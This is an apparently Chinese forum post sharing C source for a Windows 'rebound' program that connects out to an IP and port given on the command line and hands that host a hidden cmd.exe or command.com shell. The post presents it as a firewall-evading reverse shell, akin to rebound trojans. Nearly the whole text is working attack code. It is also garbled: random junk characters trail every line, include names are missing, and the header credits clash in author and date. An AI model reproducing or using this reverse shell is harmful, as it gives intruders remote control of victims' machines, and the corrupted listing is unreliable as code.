这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >IC.Zt@
MFaK=1
/* ============================== +?[TH?2c+
Rebound port in Windows NT bgqN&J)Jr)
By wind,2006/7 QS,IM>Nr
===============================*/ \CM(
#include (ta!4h,
#include ,<%Y.x%4z[
`#A&v
#pragma comment(lib,"wsock32.lib") Axhe9!Fm
}XWic88!~
void OutputShell(); /}-]n81m
SOCKET sClient; 9`i=kp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s<H0ka@
K&
<|94_k
void main(int argc,char **argv) 'N)&;ADx-G
{ cfMj^*I
WSADATA stWsaData; uI@:\Rss
int nRet; uz".!K[,wE
SOCKADDR_IN stSaiClient,stSaiServer; %YM4x!6
w#U3h]>,
if(argc != 3) /_l%Dm?
{ +|).dm
printf("Useage:\n\rRebound DestIP DestPort\n"); E:T<mI?d
return; {N[IjY
} ]T}G -
9}iEEI
WSAStartup(MAKEWORD(2,2),&stWsaData); mm'n#%\G
QK<sibDI
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~;QO`I=0P
PQ<""_S||
stSaiClient.sin_family = AF_INET; 1mgLH
stSaiClient.sin_port = htons(0); *L%HH@] %_
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F(^vD_G
oqB(l[%z2
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JGX E{FT
{ _W/s=pCh
printf("Bind Socket Failed!\n"); [MdVgJ9'
return; HvN!_}[
} _-x|g~pV*
}RYr)
stSaiServer.sin_family = AF_INET; $GNN*WmHw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~dC)EG
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )7Gm<r
3_~V(a
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Mi,yg=V
{ D5Wo e&g,
printf("Connect Error!"); $FZ~]Ef
return; &Vg+n0
} iUFS1SN \
OutputShell(); QUVwO
m
} q6f+tdg=
3haYb`
void OutputShell() W~aVwO'(
{ lPSyFb"
char szBuff[1024]; d+rrb>-OU
SECURITY_ATTRIBUTES stSecurityAttributes; =21$U[
OSVERSIONINFO stOsversionInfo; |Nd!+zE$Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G)]'>m<y
STARTUPINFO stStartupInfo; .C$S
DhJ~
char *szShell; wUW^
O
PROCESS_INFORMATION stProcessInformation; rS\j9@=Y4
unsigned long lBytesRead; fPZt*A__
0z #'=XWk
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _?M34&.X
tisSj ?+
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); No>XRG+
stSecurityAttributes.lpSecurityDescriptor = 0; XxcY
stSecurityAttributes.bInheritHandle = TRUE; !qS~YA
pYa8iQ`6U;
[^$nt
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e)
42SL^s
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); f5"1WtB
rCGXHbj%
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); $~!%Px)
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R2vT\ 6xv
stStartupInfo.wShowWindow = SW_HIDE; O`Er*-O
stStartupInfo.hStdInput = hReadPipe; :f
G5?])
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LQ`s> q
#( F/P!qk
GetVersionEx(&stOsversionInfo); $wg5q\Rv
1PpZ*YK3z
switch(stOsversionInfo.dwPlatformId) 3p6QJuSB
{ Oq@+/UWX
case 1: f(:+JH<P~
szShell = "command.com"; 'i;1n
break; =5/ow!u8
default: 8=CdO|XV
szShell = "cmd.exe"; _v bCC7Bf8
break; Y<-h#_
} FeoI+KA
C]414Ibi
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %V71W3>6WS
!TvNT}4 Z
send(sClient,szMsg,77,0); H )hO/1m
while(1) EudX^L5U<d
{ Yz]c'M@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (RVe,0y
if(lBytesRead) a?S5 =
{ E-IV v
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :+NZW9_
send(sClient,szBuff,lBytesRead,0); S"'0lS
} @&?E3?5ll
else `|coA2$rw
{ u^|c_5J(
lBytesRead=recv(sClient,szBuff,1024,0); $9+|_[ ]v.
if(lBytesRead<=0) break; q;Tdqv!Ju
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WD#
96V
} + Ac.@!X}%
} ~k\Dde
}A jE- K{
return; vz5x{W
}